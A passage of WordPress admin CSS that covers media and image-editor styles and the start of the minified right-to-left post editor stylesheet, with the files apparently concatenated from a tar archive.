.image-editor .disabled { /* WCAG 1.4.3 Text or images of text that are part of an inactive user interface component ... have no contrast requirement. */ color: #a7aaad; } .A1B1 { overflow: hidden; } .wp_attachment_image .button, .A1B1 .button { float: right; } .no-js .wp_attachment_image .button { display: none; } .wp_attachment_image .spinner, .A1B1 .spinner { float: right; } .imgedit-menu .note-no-rotate { clear: both; margin: 0; padding: 1em 0 0; } .imgedit-menu .button:after, .imgedit-menu .button:before { font: normal 16px/1 dashicons; margin-left: 8px; vertical-align: middle; position: relative; top: -2px; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } .imgedit-menu .imgedit-rotate.button:after { content: '\f140'; margin-right: 2px; margin-left: 0; } .imgedit-menu .imgedit-rotate.button[aria-expanded="true"]:after { content: '\f142'; } .imgedit-menu .button.disabled { color: #a7aaad; border-color: #dcdcde; background: #f6f7f7; box-shadow: none; text-shadow: 0 1px 0 #fff; cursor: default; transform: none; } .imgedit-crop:before { content: "\f165"; content: "\f165" / ''; } .imgedit-scale:before { content: "\f211"; content: "\f211" / ''; } .imgedit-rotate:before { content: "\f167"; content: "\f167" / ''; } .imgedit-undo:before { content: "\f171"; content: "\f171" / ''; } .imgedit-redo:before { content: "\f172"; content: "\f172" / ''; } .imgedit-crop-wrap { position: relative; } .imgedit-crop-wrap img { background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 100% 0, 10px 10px; background-size: 20px 20px; } .imgedit-crop-wrap { padding: 20px; background-image: linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7), linear-gradient(-45deg, #c3c4c7 25%, transparent 25%, transparent 75%, #c3c4c7 75%, #c3c4c7); background-position: 100% 0, 10px 10px; background-size: 20px 20px; } .imgedit-crop { margin: 0 0 0 8px; } .imgedit-rotate { margin: 0 3px 0 8px; } .imgedit-undo { margin: 0 3px; } .imgedit-redo { margin: 0 3px 0 8px; } .imgedit-thumbnail-preview-group { display: flex; flex-wrap: wrap; column-gap: 10px; } .imgedit-thumbnail-preview { margin: 10px 0 0 8px; } .imgedit-thumbnail-preview-caption { display: block; } #poststuff .imgedit-group-top h2 { display: inline-block; margin: 0; padding: 0; font-size: 14px; line-height: 1.4; } #poststuff .imgedit-group-top .button-link { text-decoration: none; color: #1d2327; } .imgedit-applyto .imgedit-label { display: block; padding: .5em 0 0; } .imgedit-popup-menu, .imgedit-help { display: none; padding-bottom: 8px; } .imgedit-panel-tools > .imgedit-menu { display: flex; column-gap: 4px; align-items: flex-start; flex-wrap: wrap; } .imgedit-popup-menu { width: calc( 100% - 20px ); position: absolute; background: #fff; padding: 10px; box-shadow: 0 3px 6px rgba(0, 0, 0, 0.3); } .image-editor .imgedit-menu .imgedit-popup-menu button { display: block; margin: 2px 0; width: 100%; white-space: break-spaces; line-height: 1.5; padding-top: 3px; padding-bottom: 2px; } .imgedit-rotate-menu-container { position: relative; } .imgedit-help.imgedit-restore { padding-bottom: 0; } /* higher specificity than buttons */ .image-editor .imgedit-settings .imgedit-help-toggle, .image-editor .imgedit-settings .imgedit-help-toggle:hover, .image-editor .imgedit-settings .imgedit-help-toggle:active { border: 1px solid transparent; margin: -1px -1px 0 0; padding: 0; background: transparent; color: var(--wp-admin-theme-color); font-size: 20px; line-height: 1; cursor: pointer; box-sizing: content-box; box-shadow: none; } .image-editor .imgedit-settings .imgedit-help-toggle:focus { color: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 1px var(--wp-admin-theme-color); /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; } .form-table td.imgedit-response { padding: 0; } .imgedit-submit-btn { margin-right: 20px; } .imgedit-wrap .nowrap { white-space: nowrap; font-size: 12px; line-height: inherit; } span.imgedit-scale-warn { display: flex; align-items: center; margin: 4px; gap: 4px; color: #b32d2e; font-style: normal; visibility: hidden; vertical-align: middle; } .imgedit-save-target { margin: 8px 0; } .imgedit-save-target legend { font-weight: 600; } .imgedit-group { margin-bottom: 20px; } .image-editor .imgedit-original-dimensions { display: inline-block; } .image-editor .imgedit-scale-controls input[type="text"], .image-editor .imgedit-crop-ratio input[type="text"], .image-editor .imgedit-crop-sel input[type="text"], .image-editor .imgedit-scale-controls input[type="number"], .image-editor .imgedit-crop-ratio input[type="number"], .image-editor .imgedit-crop-sel input[type="number"] { width: 80px; font-size: 14px; padding: 0 8px; } .imgedit-separator { display: inline-block; width: 7px; text-align: center; font-size: 13px; color: #3c434a; } .image-editor .imgedit-scale-button-wrapper { margin-top: 0.3077em; display: block; } .image-editor .imgedit-scale-controls .button { margin-bottom: 0; } audio, video { display: inline-block; max-width: 100%; } .wp-core-ui .mejs-container { width: 100%; max-width: 100%; } .wp-core-ui .mejs-container * { box-sizing: border-box; } .wp-core-ui .mejs-time { box-sizing: content-box; } /* =Media Queries -------------------------------------------------------------- */ /** * HiDPI Displays */ @media print, (min-resolution: 120dpi) { .imgedit-wait:before { background-image: url(../images/spinner-2x.gif); } } @media screen and (max-width: 782px) { .edit-attachment-frame input, .edit-attachment-frame textarea { line-height: 1.5; } .wp_attachment_details label[for="content"] { font-size: 14px; line-height: 1.5; } .wp_attachment_details textarea { line-height: 1.5; } .wp_attachment_details #attachment_alt { height: 3.375em; } .media-upload-form .media-item.error, .media-upload-form .media-item .error { font-size: 13px; line-height: 1.5; } .media-upload-form .media-item.error { padding: 1px 10px; } .media-upload-form .media-item .error { padding: 10px 12px 10px 0; } .image-editor .imgedit-scale input[type="text"], .image-editor .imgedit-crop-ratio input[type="text"], .image-editor .imgedit-crop-sel input[type="text"] { font-size: 16px; padding: 6px 10px; } .wp_attachment_holder .imgedit-wrap .imgedit-panel-content, .wp_attachment_holder .imgedit-wrap .image-editor { float: none; width: auto; max-width: none; padding-bottom: 16px; } .copy-to-clipboard-container .success { font-size: 14px; } /* Restructure image editor on narrow viewports. */ .imgedit-crop-wrap img{ width: 100%; } .media-modal .imgedit-wrap .imgedit-panel-content, .media-modal .imgedit-wrap .image-editor { position: initial !important; } .media-modal .imgedit-wrap .image-editor { box-sizing: border-box; width: 100% !important; } .image-editor .imgedit-scale-button-wrapper { display: inline-block; } } @media only screen and (max-width: 600px) { .media-item-wrapper { grid-template-columns: 1fr; } } /** * Media queries for media grid. */ @media only screen and (max-width: 1120px) { /* override for media-views.css */ #wp-media-grid .wp-filter .attachment-filters { max-width: 100%; } } @media only screen and (max-width: 1000px) { /* override for forms.css */ .wp-filter p.search-box { float: none; width: 100%; display: flex; flex-wrap: nowrap; column-gap: 0; } .wp-filter p.search-box #media-search-input { width: 100%; } } @media only screen and (max-width: 782px) { .media-frame.mode-select .attachments-browser.fixed .media-toolbar { top: 46px; left: 10px; } .media-frame.mode-grid .media-toolbar select { min-height: 40px; padding: 0 12px 0 24px; } .media-frame.mode-grid .media-toolbar input[type="search"] { min-height: 40px; padding: 0 12px; } .wp-filter p.search-box { margin-bottom: 0; } } @media only screen and (max-width: 600px) { .media-frame.mode-select .attachments-browser.fixed .media-toolbar { top: 0; } } @media only screen and (max-width: 480px) { .edit-attachment-frame .media-frame-title { left: 110px; } .upload-php .media-modal-close, .edit-attachment-frame .edit-media-header .left, .edit-attachment-frame .edit-media-header .right { width: 40px; height: 40px; } .edit-attachment-frame .edit-media-header .right:before, .edit-attachment-frame .edit-media-header .left:before { line-height: 40px !important; } .edit-attachment-frame .edit-media-header .left { left: 82px; } .edit-attachment-frame .edit-media-header .right { left: 41px; } .edit-attachment-frame .media-frame-content { top: 40px; } .edit-attachment-frame .attachment-media-view { float: none; height: auto; width: 100%; } .edit-attachment-frame .attachment-info { height: auto; width: 100%; } } @media only screen and (max-width: 640px), screen and (max-height: 400px) { .upload-php .mode-grid .media-sidebar{ max-width: 100%; } } @media only screen and (max-width: 375px) { .media-item .attachment-tools { align-items: baseline; } .media-item .edit-attachment.copy-to-clipboard-container { flex-direction: column; } .copy-to-clipboard-container .success { line-height: normal; margin-top: 10px; } } css/edit-rtl.min.css 0000644 00000073574 15233246127 0010401 0 ustar 00 /*! This file is auto-generated */ #poststuff{padding-top:10px;min-width:763px}#poststuff #post-body{padding:0}#poststuff .postbox-container{width:100%}#poststuff #post-body.columns-2{margin-left:300px}#show-comments{overflow:hidden}#save-action .spinner,#show-comments a{float:right}#show-comments .spinner{float:none;margin-top:0}#lost-connection-notice .spinner{visibility:visible;float:right;margin:0 0 0 5px}#titlediv{position:relative}#titlediv label{cursor:text}#titlediv div.inside{margin:0}#poststuff #titlewrap{border:0;padding:0}#titlediv #title{padding:3px 8px;font-size:1.7em;line-height:100%;height:1.7em;width:100%;outline:0;margin:0 0 3px;background-color:#fff}#titlediv #title-prompt-text{color:#646970;position:absolute;font-size:1.7em;padding:10px;pointer-events:none}#titlewrap .skiplink{background:#fff;line-height:2.30769231;min-height:32px;left:4px}#titlewrap .skiplink:focus{clip:inherit;clip-path:inherit;top:4px;width:auto}input#link_description,input#link_url{width:100%}#pending{background:100% none;border:0 none;padding:0;font-size:11px;margin-top:-1px}#comment-link-box,#edit-slug-box{line-height:1.84615384;min-height:25px;margin-top:5px;padding:0 10px;color:#646970}#sample-permalink{display:inline-block;max-width:100%;word-wrap:break-word}#edit-slug-box .cancel{margin-left:10px;padding:0}#comment-link-box{margin:5px 0;padding:0 5px}#editable-post-name-full{display:none}#editable-post-name{font-weight:600}#editable-post-name input{font-size:13px;font-weight:400;min-height:32px;margin:0;width:16em}.postarea h3 label{float:right}body.post-new-php .submitbox .submitdelete{display:none}.submitbox .submit a:hover{text-decoration:underline}.submitbox .submit input{margin-bottom:8px;margin-left:4px;padding:6px}#post-status-select{margin-top:3px}body.post-type-wp_navigation .inline-edit-status,body.post-type-wp_navigation div#minor-publishing{display:none}.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables{border-radius:8px;background:rgb(var(--wp-admin-theme-color--rgb),.04);min-height:60px;margin-bottom:20px}.postbox{position:relative;min-width:255px;border:1px solid #c3c4c7;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff}#trackback_url{width:99%}#normal-sortables .postbox .submit{background:transparent none;border:0 none;float:left;padding:0 12px;margin:0}.category-add input[type=text],.category-add select{width:100%;max-width:260px;vertical-align:baseline}#side-sortables .category-add input[type=text],#side-sortables .category-add select{margin:0 0 1em}#side-sortables .add-menu-item-tabs li,.wp-tab-bar li,ul.category-tabs li{display:inline;line-height:1.35}.no-js .category-tabs li.hide-if-no-js{display:none}#side-sortables .add-menu-item-tabs a,.category-tabs a,.wp-tab-bar a{text-decoration:none}#post-body ul.add-menu-item-tabs li.tabs a,#post-body ul.category-tabs li.tabs a,#side-sortables .add-menu-item-tabs .tabs a,#side-sortables .category-tabs .tabs a,.wp-tab-bar .wp-tab-active a{color:#2c3338}.category-tabs{margin:8px 0 5px}#category-adder h4{margin:0}.taxonomy-add-new{display:inline-block;margin:10px 0;font-weight:600}#side-sortables .add-menu-item-tabs,.wp-tab-bar{margin-bottom:3px}#normal-sortables .postbox #replyrow .submit{float:none;margin:0;padding:5px 7px 10px;overflow:hidden}#side-sortables .submitbox .submit .preview,#side-sortables .submitbox .submit a.preview:hover,#side-sortables .submitbox .submit input{border:0 none}ul.add-menu-item-tabs,ul.category-tabs,ul.wp-tab-bar{margin-top:12px}ul.add-menu-item-tabs li,ul.category-tabs li{border:solid 1px transparent;position:relative}.wp-tab-active,ul.add-menu-item-tabs li.tabs,ul.category-tabs li.tabs{border:1px solid #dcdcde;border-bottom-color:#fff;background-color:#fff}ul.add-menu-item-tabs li,ul.category-tabs li,ul.wp-tab-bar li{padding:3px 5px 6px}#set-post-thumbnail{display:inline-block;max-width:100%}#postimagediv .inside img{max-width:100%;height:auto;vertical-align:top;background-image:linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7),linear-gradient(-45deg,#c3c4c7 25%,transparent 25%,transparent 75%,#c3c4c7 75%,#c3c4c7);background-position:100% 0,10px 10px;background-size:20px 20px}form#tags-filter{position:relative}.ui-tabs-hide,.wp-hidden-children .wp-hidden-child{display:none}#post-body .tagsdiv #newtag{margin-left:0;flex:1;min-width:0}#side-sortables input#post_password{width:94%}#side-sortables .tagsdiv #newtag{flex:1;min-width:0}#post-status-info{width:100%;border-spacing:0;border:1px solid #c3c4c7;border-top:none;background-color:#f6f7f7;box-shadow:0 1px 1px rgba(0,0,0,.04);z-index:999}#post-status-info td{font-size:12px}.autosave-info{padding:2px 10px;text-align:left}#editorcontent #post-status-info{border:none}#content-resize-handle{background:transparent url(../images/resize.gif) no-repeat scroll left bottom;width:12px;cursor:row-resize}.rtl #content-resize-handle{background-image:url(../images/resize-rtl.gif);background-position:left bottom}.wp-editor-expand #content-resize-handle{display:none}#postdivrich #content{resize:none}#wp-word-count{padding:2px 10px}#wp-content-editor-container{position:relative}.wp-editor-expand #wp-content-editor-tools{z-index:1000;border-bottom:1px solid #c3c4c7}.wp-editor-expand #wp-content-editor-container{box-shadow:none;margin-top:-1px}.wp-editor-expand #wp-content-editor-container{border-bottom:0 none}.wp-editor-expand div.mce-statusbar{z-index:1}.wp-editor-expand #post-status-info{border-top:1px solid #c3c4c7}.wp-editor-expand div.mce-toolbar-grp{z-index:999}.mce-fullscreen #wp-content-wrap .mce-edit-area,.mce-fullscreen #wp-content-wrap .mce-menubar,.mce-fullscreen #wp-content-wrap .mce-statusbar,.mce-fullscreen #wp-content-wrap .mce-toolbar-grp{position:static!important;width:auto!important;padding:0!important}.mce-fullscreen #wp-content-wrap .mce-statusbar{visibility:visible!important}.mce-fullscreen #wp-content-wrap .mce-tinymce .mce-wp-dfw{display:none}.mce-fullscreen #wp-content-wrap .mce-wp-dfw,.post-php.mce-fullscreen #wpadminbar{display:none}#wp-content-editor-tools{background-color:#f0f0f1;padding-top:20px}#poststuff #post-body.columns-2 #side-sortables{width:280px}#timestampdiv select{vertical-align:top;font-size:12px;line-height:2.33333333}#aa,#hh,#jj,#mn{padding:6px 1px;font-size:12px;line-height:1.16666666}#hh,#jj,#mn{width:2em}#aa{width:3.4em}.curtime #timestamp{padding:2px 0 1px;display:inline!important;height:auto!important}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{color:#8c8f94}#post-body #visibility:before,#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-response-to:before,#post-body .misc-pub-revisions:before,#post-body .misc-pub-uploadedby:before,#post-body .misc-pub-uploadedto:before,.curtime #timestamp:before{font:normal 20px/1 dashicons;display:inline-block;margin-right:-1px;padding-left:3px;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}#post-body .misc-pub-comment-status:before,#post-body .misc-pub-post-status:before{content:"\f173";content:"\f173"/''}#post-body #visibility:before{content:"\f177";content:"\f177"/''}.curtime #timestamp:before{content:"\f145";content:"\f145"/'';position:relative;top:-1px}#post-body .misc-pub-uploadedby:before{content:"\f110";content:"\f110"/'';position:relative;top:-1px}#post-body .misc-pub-uploadedto:before{content:"\f318";content:"\f318"/'';position:relative;top:-1px}#post-body .misc-pub-revisions:before{content:"\f321";content:"\f321"/''}#post-body .misc-pub-response-to:before{content:"\f101";content:"\f101"/''}#timestampdiv{padding-top:5px;line-height:1.76923076}#timestampdiv p{margin:8px 0 6px}#timestampdiv input{text-align:center}.notification-dialog{position:fixed;top:30%;max-height:70%;right:50%;width:450px;margin-right:-225px;background:#fff;box-shadow:0 3px 6px rgba(0,0,0,.3);line-height:1.5;z-index:1000005;overflow-y:auto}.notification-dialog-background{position:fixed;top:0;right:0;left:0;bottom:0;background:#000;opacity:.7;z-index:1000000}#post-lock-dialog .post-locked-message,#post-lock-dialog .post-taken-over{margin:25px}#file-editor-warning .button,#post-lock-dialog .post-locked-message a.button{margin-left:10px}#post-lock-dialog .post-locked-avatar{float:right;margin:0 0 20px 20px}#post-lock-dialog .wp-tab-first{outline:0}#post-lock-dialog .locked-saving img{float:right;margin-left:3px}#post-lock-dialog.saved .locked-saved,#post-lock-dialog.saving .locked-saving{display:inline}#excerpt{display:block;margin:12px 0 0;height:4em;width:100%}.tagchecklist{margin-right:14px;font-size:12px;overflow:auto}.tagchecklist br{display:none}.tagchecklist strong{margin-right:-8px;position:absolute}.tagchecklist>li{float:right;margin-left:25px;font-size:13px;line-height:1.8;cursor:default;max-width:100%;overflow:hidden;text-overflow:ellipsis}.tagchecklist .ntdelbutton{position:absolute;width:24px;height:24px;border:none;margin:0 -19px 0 0;padding:0;background:0 0;cursor:pointer;text-indent:0}#poststuff .stuffbox>h3,#poststuff h2,#poststuff h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}#poststuff .stuffbox h2{padding:8px 10px}#poststuff .stuffbox>h2{border-bottom:1px solid #f0f0f1}#poststuff .inside{margin:6px 0 0}.link-add-php #poststuff .inside,.link-php #poststuff .inside{margin-top:12px}#poststuff .stuffbox .inside{margin:0}#poststuff .inside #page_template,#poststuff .inside #parent_id{max-width:100%}.post-attributes-label-wrapper{margin-bottom:.5em}.post-attributes-label{vertical-align:baseline;font-weight:600}#comment-status-radio,#post-visibility-select{line-height:1.5;margin-top:3px}#linksubmitdiv .inside,#poststuff #submitdiv .inside{margin:0;padding:0}#post-body-content,.edit-form-section{margin-bottom:20px}.wp_attachment_details .attachment-content-description{margin-top:.5385em;display:inline-block;min-height:1.6923em}.privacy-settings #wpcontent,.privacy-settings.auto-fold #wpcontent,.site-health #wpcontent,.site-health.auto-fold #wpcontent{padding-right:0}.privacy-settings .notice,.site-health .notice{margin:25px 22px 15px 20px}.privacy-settings .notice~.notice,.site-health .notice~.notice{margin-top:5px}.health-check-header h1,.privacy-settings-header h1{display:inline-block;font-weight:600;margin:0 .8rem 1rem;font-size:23px;padding:9px 0 4px;line-height:1.3}.health-check-header,.privacy-settings-header{text-align:center;margin:0 0 1rem;background:#fff;border-bottom:1px solid #dcdcde}.health-check-title-section,.privacy-settings-title-section{display:flex;align-items:center;justify-content:center;clear:both;padding-top:8px}.privacy-settings-tabs-wrapper{display:-ms-inline-grid;-ms-grid-columns:1fr 1fr;vertical-align:top;display:inline-grid;grid-template-columns:1fr 1fr}.privacy-settings-tab{display:block;text-decoration:none;color:inherit;padding:.5rem 1rem 1rem;margin:0 1rem;transition:box-shadow .5s ease-in-out}.health-check-tab:first-child,.privacy-settings-tab:first-child{-ms-grid-column:1}.health-check-tab:nth-child(2),.privacy-settings-tab:nth-child(2){-ms-grid-column:2}.health-check-tab:focus,.privacy-settings-tab:focus{color:#1d2327;outline:1px solid #787c82;box-shadow:none}.health-check-tab.active,.privacy-settings-tab.active{box-shadow:inset 0 -3px var(--wp-admin-theme-color);font-weight:600}.health-check-body,.privacy-settings-body{max-width:800px;margin:0 auto}.tools-privacy-policy-page th{min-width:230px}.hr-separator{margin-top:20px;margin-bottom:15px}.health-check-accordion,.privacy-settings-accordion{border:1px solid #c3c4c7}.health-check-accordion-heading,.privacy-settings-accordion-heading{margin:0;border-top:1px solid #c3c4c7;font-size:inherit;line-height:inherit;font-weight:600;color:inherit}.health-check-accordion-heading:first-child,.privacy-settings-accordion-heading:first-child{border-top:none}.health-check-accordion-trigger,.privacy-settings-accordion-trigger{background:#fff;border:0;color:#2c3338;cursor:pointer;display:flex;font-weight:400;margin:0;padding:1em 1.5em 1em 3.5em;min-height:46px;position:relative;text-align:right;width:100%;align-items:center;justify-content:space-between;-webkit-user-select:auto;user-select:auto}.health-check-accordion-trigger:active,.health-check-accordion-trigger:hover,.privacy-settings-accordion-trigger:active,.privacy-settings-accordion-trigger:hover{background:#f6f7f7}.health-check-accordion-trigger:focus,.privacy-settings-accordion-trigger:focus{color:#1d2327;border:none;box-shadow:none;outline-offset:-1px;outline:2px solid var(--wp-admin-theme-color);background-color:#f6f7f7}.health-check-accordion-trigger .title,.privacy-settings-accordion-trigger .title{pointer-events:none;font-weight:600;flex-grow:1}.health-check-accordion-trigger .icon,.privacy-settings-accordion-trigger .icon,.privacy-settings-view-read .icon,.site-health-view-passed .icon{border:solid #50575e;border-width:0 0 2px 2px;height:.5rem;pointer-events:none;position:absolute;left:1.5em;top:50%;transform:translateY(-70%) rotate(-45deg);width:.5rem}.health-check-accordion-trigger .badge,.privacy-settings-accordion-trigger .badge{padding:.1rem .5rem .15rem;color:#2c3338;font-weight:600}.privacy-settings-accordion-trigger .badge{margin-right:.5rem}.health-check-accordion-trigger .badge.blue,.privacy-settings-accordion-trigger .badge.blue{border:1px solid var(--wp-admin-theme-color)}.health-check-accordion-trigger .badge.orange,.privacy-settings-accordion-trigger .badge.orange{border:1px solid #dba617}.health-check-accordion-trigger .badge.red,.privacy-settings-accordion-trigger .badge.red{border:1px solid #e65054}.health-check-accordion-trigger .badge.green,.privacy-settings-accordion-trigger .badge.green{border:1px solid #00ba37}.health-check-accordion-trigger .badge.purple,.privacy-settings-accordion-trigger .badge.purple{border:1px solid #2271b1}.health-check-accordion-trigger .badge.gray,.privacy-settings-accordion-trigger .badge.gray{border:1px solid #c3c4c7}.health-check-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-accordion-trigger[aria-expanded=true] .icon,.privacy-settings-view-passed[aria-expanded=true] .icon,.site-health-view-passed[aria-expanded=true] .icon{transform:translateY(-30%) rotate(135deg)}.health-check-accordion-panel,.privacy-settings-accordion-panel{margin:0;padding:1em 1.5em;background:#fff}.health-check-accordion-panel[hidden],.privacy-settings-accordion-panel[hidden]{display:none}.health-check-accordion-panel a .dashicons,.privacy-settings-accordion-panel a .dashicons{text-decoration:none}.privacy-settings-accordion-actions{justify-content:right;display:flex;align-items:center;flex-wrap:wrap;gap:1em}.privacy-settings-accordion-actions .success{display:none;color:#007017}.privacy-settings-accordion-actions .success.visible{display:inline-block}.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-policy-tutorial,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .privacy-text-copy,.privacy-settings-accordion-panel.hide-privacy-policy-tutorial .wp-policy-help{display:none}.privacy-settings-accordion-panel strong.privacy-policy-tutorial,.privacy-settings-accordion-panel strong.wp-policy-help{display:block;margin:0 0 1em}.privacy-text-copy span{pointer-events:none}.privacy-settings-accordion-panel .wp-suggested-text div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel .wp-suggested-text>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel div>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p),.privacy-settings-accordion-panel>:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6):not(div):not(.privacy-policy-tutorial):not(.wp-policy-help):not(.privacy-text-copy):not(span.success):not(.notice p){margin:0;padding:1em;border-right:2px solid #787c82}@media screen and (max-width:782px){.health-check-body,.privacy-settings-body{margin:0 12px;width:auto}.privacy-settings .notice,.site-health .notice{margin:5px 10px 15px}.privacy-settings .update-nag,.site-health .update-nag{margin-left:10px;margin-right:10px}input#create-page{margin-top:10px}.wp-core-ui button.privacy-text-copy{white-space:normal;line-height:1.8}#edit-slug-box{padding:0}#editable-post-name input{min-height:40px}}@media only screen and (max-width:1004px){.health-check-body,.privacy-settings-body{margin:0 22px;width:auto}}#postcustomstuff thead th{padding:5px 8px 8px;background-color:#f0f0f1}#postcustom #postcustomstuff .submit{border:0 none;float:none;padding:0 8px 8px}#postcustom #postcustomstuff .add-custom-field{padding:12px 8px 8px}#side-sortables #postcustom #postcustomstuff .submit{margin:0;padding:0}#side-sortables #postcustom #postcustomstuff #the-list textarea{height:85px}#side-sortables #postcustom #postcustomstuff td.left input,#side-sortables #postcustom #postcustomstuff td.left select,#side-sortables #postcustomstuff #newmetaleft a{margin:3px 3px 0}#postcustomstuff table{margin:0;width:100%;border:1px solid #dcdcde;border-spacing:0;background-color:#f6f7f7}#postcustomstuff tr{vertical-align:top}#postcustomstuff table input,#postcustomstuff table select,#postcustomstuff table textarea{width:96%;margin:8px}#side-sortables #postcustomstuff table input,#side-sortables #postcustomstuff table select,#side-sortables #postcustomstuff table textarea{margin:3px}#postcustomstuff td.left,#postcustomstuff th.left{width:38%}#postcustomstuff .submit input{margin:0;width:auto}#postcustomstuff #newmeta-button,#postcustomstuff #newmetaleft a{display:inline-block;margin:0 8px 8px;text-decoration:none}.no-js #postcustomstuff #enternew{display:none}#post-body-content .compat-attachment-fields{margin-bottom:20px}.compat-attachment-fields th{padding-top:5px;padding-left:10px}#select-featured-image{padding:4px 0;overflow:hidden}#select-featured-image img{max-width:100%;height:auto;margin-bottom:10px}#select-featured-image a{float:right;clear:both}#select-featured-image .remove{display:none;margin-top:10px}.js #select-featured-image.has-featured-image .remove{display:inline-block}.no-js #select-featured-image .choose{display:none}.post-format-icon::before{display:inline-block;vertical-align:middle;height:20px;width:20px;margin-top:-4px;margin-left:7px;color:#dcdcde;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}a.post-format-icon:hover:before{color:#135e96}#post-formats-select{line-height:2}#post-formats-select .post-format-icon::before{top:5px}input.post-format{margin-top:1px}label.post-format-icon{margin-right:0;padding:2px 0}.post-format-icon.post-format-standard::before{content:"\f109";content:"\f109"/''}.post-format-icon.post-format-image::before{content:"\f128";content:"\f128"/''}.post-format-icon.post-format-gallery::before{content:"\f161";content:"\f161"/''}.post-format-icon.post-format-audio::before{content:"\f127";content:"\f127"/''}.post-format-icon.post-format-video::before{content:"\f126";content:"\f126"/''}.post-format-icon.post-format-chat::before{content:"\f125";content:"\f125"/''}.post-format-icon.post-format-status::before{content:"\f130";content:"\f130"/''}.post-format-icon.post-format-aside::before{content:"\f123";content:"\f123"/''}.post-format-icon.post-format-quote::before{content:"\f122";content:"\f122"/''}.post-format-icon.post-format-link::before{content:"\f103";content:"\f103"/''}.category-adder{margin-right:120px;padding:4px 0}.category-adder h4{margin:0 0 8px}#side-sortables .category-adder{margin:0}.categorydiv div.tabs-panel,.customlinkdiv div.tabs-panel,.posttypediv div.tabs-panel,.taxonomydiv div.tabs-panel,.wp-tab-panel{min-height:42px;max-height:200px;overflow:auto;padding:0 .9em;border:solid 1px #dcdcde;background-color:#fff}div.tabs-panel-active{display:block}div.tabs-panel-inactive{display:none}div.tabs-panel-active:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#front-page-warning,#front-static-pages ul,.categorydiv ul.categorychecklist ul,.customlinkdiv ul.categorychecklist ul,.inline-editor ul.cat-checklist ul,.options-discussion-php .indent-children ul,.posttypediv ul.categorychecklist ul,.taxonomydiv ul.categorychecklist ul,ul.export-filters{margin-right:18px}ul.categorychecklist li{margin:0;padding:0;line-height:1.69230769;word-wrap:break-word}.categorydiv .tabs-panel,.customlinkdiv .tabs-panel,.posttypediv .tabs-panel,.taxonomydiv .tabs-panel{border-width:3px;border-style:solid}.form-wrap label{display:block;padding:2px 0}.form-field input[type=email],.form-field input[type=number],.form-field input[type=password],.form-field input[type=search],.form-field input[type=tel],.form-field input[type=text],.form-field input[type=url],.form-field textarea{border-style:solid;border-width:1px;width:95%}.form-field p,.form-field select{max-width:95%}.form-wrap p,p.description{margin:2px 0 5px;color:#646970}.form-wrap p,p.description,p.help,span.description{font-size:13px}p.description code{font-style:normal}.form-wrap p code,p.description code{color:#50575e}.form-wrap .form-field{margin:1em 0;padding:0}.col-wrap h2{margin:12px 0;font-size:1.1em}.col-wrap p.submit{margin-top:-10px}.edit-term-notes{margin-top:2em}#poststuff .tagsdiv .ajaxtag{margin-top:1em;display:flex;gap:8px;align-items:center}#poststuff .tagsdiv .howto{margin:1em 0 6px}.ajaxtag .newtag{position:relative}.tagsdiv .newtag{flex:1;min-width:0}.tagsdiv .the-tags{display:block;height:60px;margin:0 auto;overflow:auto;width:260px}#post-body-content .tagsdiv .the-tags{margin:0 5px}p.popular-tags{border:none;line-height:2em;padding:8px 12px 12px;text-align:justify}p.popular-tags a{padding:0 3px}.tagcloud{width:97%;margin:0 0 40px;text-align:justify}.tagcloud h2{margin:2px 0 12px}#poststuff .inside .the-tagcloud{margin:5px 0 10px;padding:8px;border:1px solid #dcdcde;line-height:1.2;word-spacing:3px}.the-tagcloud ul{margin:0}.the-tagcloud ul li{display:inline-block}.ac_results{display:none;margin:-1px 0 0;padding:0;list-style:none;position:absolute;z-index:10000;border:1px solid #4f94d4;background-color:#fff}.wp-customizer .ac_results{z-index:500000}.ac_results li{margin:0;padding:5px 10px;white-space:nowrap;text-align:right}.ac_over .ac_match,.ac_results .ac_over{background-color:#2271b1;color:#fff;cursor:pointer}.ac_match{text-decoration:underline}#addtag .spinner{float:none;vertical-align:top}#edittag{max-width:800px}.edit-tag-actions{display:flex;align-items:center;gap:8px;margin-top:20px}.comment-php .wp-editor-area{height:200px}.comment-ays td,.comment-ays th{padding:10px 15px}.comment-ays .comment-content ul{list-style:initial;margin-right:2em}.comment-ays .comment-content a[href]:after{content:"(" attr(href) ")";display:inline-block;padding:0 4px;color:#646970;font-size:13px;word-break:break-all}.comment-ays 